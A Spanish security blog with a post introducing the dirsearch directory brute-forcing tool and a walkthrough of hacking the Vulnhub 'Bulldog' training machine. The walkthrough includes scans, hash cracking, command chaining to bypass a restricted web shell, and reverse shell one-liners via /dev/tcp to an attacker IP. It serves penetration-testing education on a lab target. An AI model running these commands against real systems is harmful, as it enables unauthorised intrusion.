.

.

martes, 20 de noviembre de 2018

Dirsearch - Fuerza bruta a directorios


Dirsearch es un escáner de directorios para aplicaciones web (diseñado en Python), que ayudara a un hacker ético a búscar información de un sitio web, haciendo fuerza bruta sobre la estructura del mismo (directorios y archivos).

Dirsearch es una sustituta perfecta a la herramienta DirBuster de OWASP, ya que cumple la misma función.

Es compatible con sistemas operativos Linux, Windows y macOS.


La herramienta puede descargarse desde:
https://github.com/maurosoria/dirsearch

Es importante tener en cuenta que la herramienta está desarrollada en Python, por lo que es indispensable tener instalado Python 3 en el equipo:
https://www.python.org/downloads/

Como se ha comentado, dirsearch emplea fuerza bruta, para lo que utiliza por defecto una base de datos incluida, con más de 6600 palabras.
Además de esto y como en todas las herramientas que utilizan fuerza bruta, se pueden utilizar diccionarios prediseñados, por nosotros mismos u otros y el éxito dependerá en parte en las dimensiones y la calidad de los mismos.

Algunas de las características y funcionalidades de Dirbuster son:
  • Permite la configuración de múltiples extensiones de archivos (.php, .html, .asp, etc).
  • Genera reportes en formato JSON o en texto plano.
  • Reconoce automáticamente páginas inválidas y falsos positivos.
  • Uso aleatorio de varios User-Agent para evitar bloqueos.
  • Soporte para proxy HTTP.
  • Retraso entre peticiones para evadir bloqueos y sistemas de seguridad.

Comando base:

# python3 disearch.py -u (url) -e (target extensions)

  • Opciones:
  -h, --help            show this help message and exit

  Mandatory:
    -u URL, --url=URL   URL target
    -L URLLIST, --url-list=URLLIST
                        URL list target
    -e EXTENSIONS, --extensions=EXTENSIONS
                        Extension list separated by comma (Example: php,asp)


  Dictionary Settings:
    -w WORDLIST, --wordlist=WORDLIST
    -l, --lowercase    
    -f, --force-extensions
                        Force extensions for every wordlist entry (like in
                        DirBuster)


General Settings:
    -s DELAY, --delay=DELAY
                        Delay between requests (float number)
    -r, --recursive     Bruteforce recursively
    --suppress-empty, --suppress-empty
    --scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS
                        Scan subdirectories of the given -u|--url (separated
                        by comma)
    --exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS
                        Exclude the following subdirectories during recursive
                        scan (separated by comma)
    -t THREADSCOUNT, --threads=THREADSCOUNT
                        Number of Threads
    -x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES
                        Exclude status code, separated by comma (example: 301,
                        500)
    -c COOKIE, --cookie=COOKIE
    --ua=USERAGENT, --user-agent=USERAGENT
    -F, --follow-redirects
    -H HEADERS, --header=HEADERS
                        Headers to add (example: --header "Referer:
                        example.com" --header "User-Agent: IE"
    --random-agents, --random-user-agents


  Connection Settings:
    --timeout=TIMEOUT   Connection timeout
    --ip=IP             Resolve name to IP address
    --proxy=HTTPPROXY, --http-proxy=HTTPPROXY
                        Http Proxy (example: localhost:8080
    --max-retries=MAXRETRIES
    -b, --request-by-hostname
                        By default dirsearch will request by IP for speed.
                        This forces requests by hostname


  Reports:
    --simple-report=SIMPLEOUTPUTFILE
                        Only found paths
    --plain-text-report=PLAINTEXTOUTPUTFILE
                        Found paths with status codes
    --json-report=JSONOUTPUTFILE





# python3 dirsearch.py -u https://k-oox.blogspot.com/ -e txt,php,html -x 404

( -u = URL Target / -e = Extensiones / -x = Estados excluidos )







Tras finalizar el escaneo, se generará de manera automática un archivo del escaneo realizado, en la carpeta "reports, archivado y ordenado por target y fecha.

Se puede abrir con cualquier editor de texto.



viernes, 3 de agosto de 2018

Bulldog - Vulnhub



Vamos ha intentar hackear una máquina que encontramos en Vulnhub: Bulldog

Podemos descargarla de:
https://download.vulnhub.com/bulldog

Historia de la máquina:

Recientemente, Bulldog Industries hizo que su sitio web fuera borrado y propiedad del malicioso equipo alemán Shepherd Hack Team. ¿Podría esto significar que hay más vulnerabilidades para explotar? ¿Por qué no lo descubres? :

Este es un Boot-to-Root estándar. ¡Su único objetivo es ingresar al directorio raíz y ver el mensaje de felicitación, cómo lo hace depende de usted!


Dificultad: Principiante / Intermedio, si te quedas atascado, trata de descubrir las diferentes formas en que puedes interactuar con el sistema. Esa es mi única pista;)

Hecho por Nick Frichette (frichetten.com) Twitter: @frichette_n

Recomiendo ejecutar esto en Virtualbox, tuve algunos problemas para hacerlo funcionar en VMware. Además DHCP está habilitado, por lo que no debería tener problemas para conectarlo a su red. Por defecto está en modo puente, pero puede cambiarlo si lo desea.



Pongamonos manos a la obra:

Empezaré haciendo un nmap de la red para localizar la máquina Bulldog.

#nmap -sn 192.168.1.1/24




Una vez localizada la máquina, paso a hacer un escaneo de puertos:
$ nmap -A -sT -sV -O -vvv -T4 192.168.1.158


Tras lo que encuentro los puertos OPEN: 23 / 80 / 8080



Uso el comando “enum4linux”, para ver que información puedo extraer de usuarios de sistema, grupos, etc.

Solo consigo extraer nombres de usuario:




Paso a otro vector, la web o puerto 80: (192.168.1.158:80)







Cambio el subdomio “/notice” por “/admin” y encuentro el acceso al panel de administración.






Pruebo fuerza bruta con los usuarios encontrados en la búsqueda de información y algunas claves genéricas, pero no hay suerte.





Pero viendo que he encontrado /admin (subdominio oculto) me decido a utilizar DIRBUSTER para ver que más puedo encontrar.







Aunque no lo haya ido nombrando, en cada una de las páginas web, a falta de otra información y de los pocos vectores de ataque que encuentro, he ido también echando un ojo al código fuente por si este me revelara algún dato que me pudiera servir de utilidad para algo.

Pues esta web /dev/ la que parecía que menos importancia iba a tener de todas me encuentro esto:





Hashes de las passwords!!!! 

 <!--Need these password hashes for testingDjango's default is too complex--> 
 <!--We'll remove these in prodIt's not like a hacker can do anything with a hash--> 


Si entiendo bien el asunto, aquí tenemos los user:
-Malik
-Kevin
-Ashley
-Nick
-Sarah


Y los hashes de sus passwords. 

Busco los hashes en varias web, y me decanto por:  http://hashtoolkit.com 

No encuentro ninguno de los hashes, hasta que busco el correspondiente al usernick 


Me devuelve la password: bulldog 





Con el usuario y contraseña, me voy al panel de 1.158/admin y entro a la primera.



Realmente creo que no he conseguido nada, porque el usuario está logeado pero no se me permite ninguna acción.

Dandole vueltas, al volver a la web de desarrolladores a ver si pone algo más u otro usuario podría logearse con más permisos, encuentro que donde ponía “webshell” se ha vuelto un enlace y al pulsarlo puedo acceder.




http://192.168.1.158/dev/shell/







Solo permite los comandos que se ven en pantalla.
Así que al menos los utilizaré para tener más información del sistema.








Para sacar la información, pruebo a concatenar los comandos “&” y me doy cuenta de que los comandos que no coge (permite), tipo “uname” si los concatenas a uno de los que si permite, también los toma por válidos.




Intento utilizar netcat (no sé si lo tiene instalado) para conectar con mi Kali y hacer una Shell.






No funciona




Pruebo con:

ls && bash -i >& /dev/tcp/192.168.1.54/4444 0>&1

Tampoco nada.


Vistos los resultados obtenidos, me pongo a buscar alternativas a nc de shell.

En: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet , encuentro esto (Muy interesante, aunque no sé si valido para ahora) (https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem)

---------
But, What If You Don't Have -e Support?







-------------


Sigo dando vueltas al asunto e investigando sobre el tema.

Después de probar varias combinaciones doy con la siguiente:

echo 'bash -i >& /dev/tcp/192.168.1.56/4444 0>&1' | bash





Pongo el terminal de linux a la escucha:





Estoy dentro.

Vamos a por ello.
Ahora puedo recopilar información del sistema.


ls y whoami







Mostramos la info de grupos del sistema en /etc/group










Me meto en el usuario: bulldogadmin

El ls -l no me muestra nada, no me devuelve información.


Miro otras opciones por si hubiese algo oculto.





Cat no funciona con otro de los archivos encontrados 







  Podemos ver esto dentro del archivo: 
___________________________________________________________________________________________________________ 
__gmon_start__ 
GLIBC_2.4 
GLIBC_2.2.5 
UH-H 
SUPERultH imatePASH SWORDyouH CANTget 
dH34%( 
AWAVA 
AUATL 
[]A\A]A^A_ 
Please enter a valid username to use root privileges 
 Usage: ./customPermissionApp <username> sudo su root 
;*3$" 
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609 
------------------------------------------------------------------------------------------------------------------------------------------------------------------ 

Tal y como se puede ver en el strings del archivo customPermissionApp, se observa lo que podría ser la contraseña de root. 
Para ello hace falta ejecutar sudo su. 
Sin embargo se necesita una shell conTTY 




 Conseguido somos root!!